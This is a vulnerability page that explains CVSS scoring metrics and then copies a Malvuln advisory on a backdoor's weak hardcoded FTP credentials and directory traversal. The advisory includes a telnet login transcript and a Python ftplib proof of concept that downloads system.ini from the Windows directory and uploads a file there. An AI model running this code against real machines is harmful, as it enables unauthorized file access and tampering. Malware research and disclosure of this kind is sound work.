The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity
Low
AC
The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required
None
PR
The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
User Interaction
None
UI
The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Scope
Unchanged
S
An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality
High
C
There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity
High
I
There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability
High
A
There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.
Below is a copy: Backdoor.Win32.Delf.adag / Weak Hardcoded Credentials
Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/0e997ab441cd8c35010dd8db98aae2c2.txt
Contact: [email protected]
Media: twitter.com/malvuln
Threat: Backdoor.Win32.Delf.adag
Vulnerability: Weak Hardcoded Credentials
Description: The backdoor runs an FTP server listening on TCP port 21 and uses weak hardcoded credentials which can be easily found using strings util. Credentials are located at memory offsets 0042C5CF and 0042C5DE, files can be uploaded or downloaded using dir traversal chars "../" outside of its main dir.
Type: PE32
MD5: 0e997ab441cd8c35010dd8db98aae2c2
Vuln ID: MVID-2021-0108
Dropped files:
Disclosure: 02/23/2021
Exploit/PoC:
TELNET x.x.x.x 21
220 Indy FTP Server ready.
USER user
331 User name okay, need password.
PASS pass
230 User logged in, proceed.
import ftplib, time
MALWARE_HOST="x.x.x.x"
USR='user'
PWD='pass'
#Download system.ini
def getFile(ftp, fname):
try:
ftp.retrbinary("RETR " + fname ,open(fname, 'wb').write)
except:
print("Error")
ftp = ftplib.FTP(MALWARE_HOST)
ftp.login(USR, PWD)
print(ftp.cwd('../../../../Windows/'))
print(ftp.pwd())
getFile(ftp, 'system.ini')
time.sleep(1)
#Upload files to Windows dir
def upload(ftp, _file):
s = ftplib.FTP(MALWARE_HOST,USR,PWD)
f = open(_file,"rb")
print(s.storbinary("STOR "+"../../../../Windows/"+_file, f))
f.close()
s.quit()
upload(ftp, "1.js")
ftp.quit()
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